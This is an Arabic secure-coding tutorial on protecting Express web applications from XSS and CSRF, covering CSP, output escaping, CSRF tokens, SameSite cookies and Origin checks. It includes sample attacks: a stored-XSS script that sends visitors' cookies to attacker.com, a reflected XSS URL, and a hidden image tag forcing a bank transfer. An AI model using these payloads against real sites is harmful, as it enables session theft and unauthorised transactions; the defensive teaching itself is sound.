الحماية من XSS و CSRF

// تعليق خبيث يخزن في قاعدة البيانات
{
  "comment": "<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>"
}

// عند عرض التعليق، ينفذ السكريبت في متصفح كل زائر

URL خبيث:
  https://example.com/search?q=<script>alert('XSS')</script>

إذا عكس التطبيق q مباشرة في الصفحة دون تعقيم، ينفذ السكريبت.

// سيئ - كتابة مدخل المستخدم مباشرة في DOM
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = `مرحبا ${name}`;

// جيد - استخدام textContent بدلا من innerHTML
document.getElementById('welcome').textContent = `مرحبا ${name}`;

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'

// إعداد CSP في Express
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://trusted-cdn.com"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https://images.example.com"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

// سيئ
res.send(`<div>${userInput}</div>`);

// جيد - تشفير HTML entities
const escapeHtml = (str) => {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

res.send(`<div>${escapeHtml(userInput)}</div>`);

// أفضل - استخدام template engine مع auto-escaping
res.render('template', { userInput }); // EJS, Pug, Handlebars

1. المستخدم مسجل الدخول في example.com
2. المستخدم يزور موقع المهاجم evil.com
3. evil.com يرسل طلب مخفي إلى example.com/api/transfer
4. المتصفح يرسل الكوكيز تلقائيا → ينفذ التحويل

<!-- صفحة evil.com ترسل طلب مخفي -->
<img src="https://example.com/api/transfer?to=attacker&amount=1000" style="display:none" />

// توليد token وإرساله مع النموذج
const crypto = require('crypto');

function generateCsrfToken(req) {
  const token = crypto.randomBytes(32).toString('hex');
  req.session.csrfToken = token;
  return token;
}

// التحقق من token في الطلبات
function csrfProtection(req, res, next) {
  const token = req.body._csrf || req.headers['x-csrf-token'];
  if (token !== req.session.csrfToken) {
    return res.status(403).json({ error: 'طلب غير مصرح' });
  }
  next();
}

// SameSite=Strict: لا يرسل الكوكيز أبدا عبر مواقع أخرى
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// SameSite=Lax: يسمح بالروابط العادية (GET) فقط
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

function checkOrigin(req, res, next) {
  const allowedOrigins = ['https://example.com'];
  const origin = req.headers.origin;
  const referer = req.headers.referer;

  if (!origin && !referer) {
    return res.status(403).json({ error: 'ممنوع' });
  }

  if (origin && !allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: 'ممنوع' });
  }

  next();
}

XSS:
  ✅ CSP Headers
  ✅ تعقيم المخرجات (Output Encoding)
  ✅ تجنب dangerouslySetInnerHTML / innerHTML
  ✅ التحقق من المدخلات

CSRF:
  ✅ CSRF Tokens
  ✅ SameSite=Strict/Lax
  ✅ التحقق من Origin Header
  ✅ POST/PUT/DELETE للعمليات الحساسة (ليس GET)

// إعداد كامل لـ Express
const helmet = require('helmet');
const csrf = require('csurf');

app.use(helmet()); // يشمل CSP, XSS Filter, وغيرها
app.use(csrf({ cookie: true }));

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/submit', (req, res) => {
  // csrf middleware يتحقق من token تلقائيا
  res.json({ success: true });
});